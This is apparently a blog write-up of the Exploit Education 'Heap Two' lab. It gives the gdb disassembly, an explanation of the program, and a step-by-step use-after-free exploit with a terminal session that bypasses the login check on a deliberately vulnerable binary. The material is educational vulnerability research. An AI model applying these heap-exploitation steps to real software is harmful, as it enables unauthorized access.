If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup
Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
- Format Four Writeup - Exploit Education Lab Exercise
- Heap Zero Writeup - Exploit Education Lab Exercise
- Heap One Writeup - Exploit Education Lab Exercise
Quick Overview
Similar to Heap One, Heap Two exercise motive is to leverage buffer overflow and perform UAF (User-After-Free Vulnerability) that technically allows to re-use the allocated memory in the heap to control the program flow. Similar to gets
in Heap Zero, strdup
function is unsafe that doesn’t have bounds check, it accepts memory address to copy but doesn’t care about overwriting other declared struct variable in the heap region.
Disassemble
Disassembling the code will get you overall idea behind the heap-two code, One can use gdb ./heap-two
to start debugging it in runtime.
gdb ./heap-two
- Type
disassemble main
to get the disassembled code (assembly)
0x000000000040085d <+0>: push rbp
0x000000000040085e <+1>: mov rbp,rsp
0x0000000000400861 <+4>: sub rsp,0x90
0x0000000000400868 <+11>: mov DWORD PTR [rbp-0x84],edi
0x000000000040086e <+17>: mov QWORD PTR [rbp-0x90],rsi
0x0000000000400875 <+24>: mov edi,0x400a40
0x000000000040087a <+29>: call 0x400670 <puts@plt>
0x000000000040087f <+34>: mov rdx,QWORD PTR [rip+0x200592] # 0x600e18 <service>
0x0000000000400886 <+41>: mov rax,QWORD PTR [rip+0x200583] # 0x600e10 <auth>
0x000000000040088d <+48>: mov rsi,rax
0x0000000000400890 <+51>: mov edi,0x400a89
0x0000000000400895 <+56>: mov eax,0x0
0x000000000040089a <+61>: call 0x400650 <printf@plt>
0x000000000040089f <+66>: mov rdx,QWORD PTR [rip+0x2004fa] # 0x600da0 <stdin>
0x00000000004008a6 <+73>: lea rax,[rbp-0x80]
0x00000000004008aa <+77>: mov esi,0x80
0x00000000004008af <+82>: mov rdi,rax
0x00000000004008b2 <+85>: call 0x400660 <fgets@plt>
0x00000000004008b7 <+90>: test rax,rax
0x00000000004008ba <+93>: je 0x4009e1 <main+388>
0x00000000004008c0 <+99>: lea rax,[rbp-0x80]
0x00000000004008c4 <+103>: mov edx,0x5
0x00000000004008c9 <+108>: mov esi,0x400aa6
0x00000000004008ce <+113>: mov rdi,rax
0x00000000004008d1 <+116>: call 0x400690 <strncmp@plt>
0x00000000004008d6 <+121>: test eax,eax
0x00000000004008d8 <+123>: jne 0x400934 <main+215>
0x00000000004008da <+125>: mov edi,0x24
0x00000000004008df <+130>: call 0x400680 <malloc@plt>
0x00000000004008e4 <+135>: mov QWORD PTR [rip+0x200525],rax # 0x600e10 <auth>
0x00000000004008eb <+142>: mov rax,QWORD PTR [rip+0x20051e] # 0x600e10 <auth>
0x00000000004008f2 <+149>: mov edx,0x24
0x00000000004008f7 <+154>: mov esi,0x0
0x00000000004008fc <+159>: mov rdi,rax
0x00000000004008ff <+162>: call 0x4006b0 <memset@plt>
0x0000000000400904 <+167>: lea rax,[rbp-0x80]
0x0000000000400908 <+171>: add rax,0x5
0x000000000040090c <+175>: mov rdi,rax
0x000000000040090f <+178>: call 0x4006d0 <strlen@plt>
0x0000000000400914 <+183>: cmp rax,0x1e
0x0000000000400918 <+187>: ja 0x400934 <main+215>
0x000000000040091a <+189>: lea rax,[rbp-0x80]
0x000000000040091e <+193>: add rax,0x5
0x0000000000400922 <+197>: mov rdx,QWORD PTR [rip+0x2004e7] # 0x600e10 <auth>
0x0000000000400929 <+204>: mov rsi,rax
0x000000000040092c <+207>: mov rdi,rdx
0x000000000040092f <+210>: call 0x400640 <strcpy@plt>
0x0000000000400934 <+215>: lea rax,[rbp-0x80]
0x0000000000400938 <+219>: mov edx,0x5
0x000000000040093d <+224>: mov esi,0x400aac
0x0000000000400942 <+229>: mov rdi,rax
0x0000000000400945 <+232>: call 0x400690 <strncmp@plt>
0x000000000040094a <+237>: test eax,eax
0x000000000040094c <+239>: jne 0x40095d <main+256>
0x000000000040094e <+241>: mov rax,QWORD PTR [rip+0x2004bb] # 0x600e10 <auth>
0x0000000000400955 <+248>: mov rdi,rax
0x0000000000400958 <+251>: call 0x4006e0 <free@plt>
0x000000000040095d <+256>: lea rax,[rbp-0x80]
0x0000000000400961 <+260>: mov edx,0x6
0x0000000000400966 <+265>: mov esi,0x400ab2
0x000000000040096b <+270>: mov rdi,rax
0x000000000040096e <+273>: call 0x400690 <strncmp@plt>
0x0000000000400973 <+278>: test eax,eax
0x0000000000400975 <+280>: jne 0x40098e <main+305>
0x0000000000400977 <+282>: lea rax,[rbp-0x80]
0x000000000040097b <+286>: add rax,0x7
0x000000000040097f <+290>: mov rdi,rax
0x0000000000400982 <+293>: call 0x4006a0 <strdup@plt>
0x0000000000400987 <+298>: mov QWORD PTR [rip+0x20048a],rax # 0x600e18 <service>
0x000000000040098e <+305>: lea rax,[rbp-0x80]
0x0000000000400992 <+309>: mov edx,0x5
0x0000000000400997 <+314>: mov esi,0x400aba
0x000000000040099c <+319>: mov rdi,rax
0x000000000040099f <+322>: call 0x400690 <strncmp@plt>
0x00000000004009a4 <+327>: test eax,eax
0x00000000004009a6 <+329>: jne 0x40087f <main+34>
0x00000000004009ac <+335>: mov rax,QWORD PTR [rip+0x20045d] # 0x600e10 <auth>
0x00000000004009b3 <+342>: test rax,rax
0x00000000004009b6 <+345>: je 0x4009d2 <main+373>
0x00000000004009b8 <+347>: mov rax,QWORD PTR [rip+0x200451] # 0x600e10 <auth>
0x00000000004009bf <+354>: mov eax,DWORD PTR [rax+0x20]
0x00000000004009c2 <+357>: test eax,eax
0x00000000004009c4 <+359>: je 0x4009d2 <main+373>
0x00000000004009c6 <+361>: mov edi,0x400ac0
0x00000000004009cb <+366>: call 0x400670 <puts@plt>
0x00000000004009d0 <+371>: jmp 0x4009dc <main+383>
0x00000000004009d2 <+373>: mov edi,0x400adc
0x00000000004009d7 <+378>: call 0x400670 <puts@plt>
0x00000000004009dc <+383>: jmp 0x40087f <main+34>
0x00000000004009e1 <+388>: nop
0x00000000004009e2 <+389>: mov eax,0x0
0x00000000004009e7 <+394>: leave
0x00000000004009e8 <+395>: ret
Before taking a look at the code, if you disassembled the heap-two using gdb to view the assembly instruction, you may notice the puts, strdup, exit and gets function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- The program initializes auth and service to null pointers.
- The program prints out a banner message using printf.
- The program enters a while loop that runs continuously until the user stops the program.
- Within the loop, the program prints out the current values of auth and service using printf.
- The program reads a line of input from the user using fgets.
- The program checks if the input string starts with the string “auth “.
- If it does, the program allocates memory for a new auth struct using malloc, initializes it with zeros using memset, and stores the user’s name in the name field of the auth struct using strcpy.
- The program checks if the input string starts with the string “reset”.
- If it does, the program frees the memory allocated for the auth struct using free.
- The program checks if the input string starts with the string “service”.
- If it does, the program allocates memory for a new char array using strdup and stores the service name in it.
- The program checks if the input string starts with the string “login”.
- If it does and auth is not null and auth->auth is true, the program prints out a message saying that the user has already logged in.
- If it does and auth is null or auth->auth is false, the program prints out a message asking the user to enter their password.
- The program repeats steps 4-9 until the user stops the program by closing the command-line interface.
Primary Goal
This is a fairly simple challenge and primary goal is to leverage buffer overflow and overwrite the auth->auth variable to 1. Additionally, use Use-After-Free to force the program to re-allocate the memory for the auth struct and overwrite the auth->name pointer to point to the service buffer. This will allow us to overwrite the auth->auth variable without having to enter a password.
Memory Allocation
Buffer Overflow
The service buffer is allocated on the heap using strdup. The strdup function is similar to the strcpy function, except that it allocates memory for the destination string using malloc. So, you could use service <OVERFLOW_BUFFER_STRING>
to overflow the service buffer.
Use-After-Free
If you take closer look at the lifecycle of the program (infinite while loop), you could potentially call free(auth)
and login
could use the same auth
object to make the login decision. So, if you could overwrite the auth->auth
variable to 1, you could potentially login without entering the password. The free
method doesn’t actually free the memory, it just marks the memory as free and the content remains the same.
Exploit Strategy,
- Allocate memory for auth struct using
auth test
- Free the memory using
reset
- This will mark the memory as free, but the content remains the same.
- Allocate memory for service buffer using
service <OVERFLOW_BUFFER_STRING>
- Since
strdup
dynamically allocates buffer in runtime to copy the characters, when themalloc
request memory, it will allocate the memory in the same address as theauth
struct. - So, the
auth->name
pointer will point to theservice
buffer. - You could calculate the size of auth object roughly
32 Bytes char
+4 Bytes Int
which is helpful to come up with the overflow string.
- Since
- Login using
login
- Since the
auth->auth
variable is set to 1, the program will print the messageyou have logged in already!
and the program will exit.
- Since the
Exploit
So, the final exploit would be as follows,
user@phoenix-amd64:/opt/phoenix/amd64$ ./heap-two
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth test
[ auth = 0x600e40, service = 0 ]
reset
[ auth = 0x600e40, service = 0 ]
serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
[ auth = 0x600e40, service = 0x600e40 ] --> auth->name pointer points to service buffer
login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]
There you go! 🎉 You’ve officially pwned
the binary
and possibly you could control the program flow and may eventually
perform code execution in the system. 🪲
Source and Reference:
- Heap Two Exercise: Exploit Education
- Use-After-Free: Wiki
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.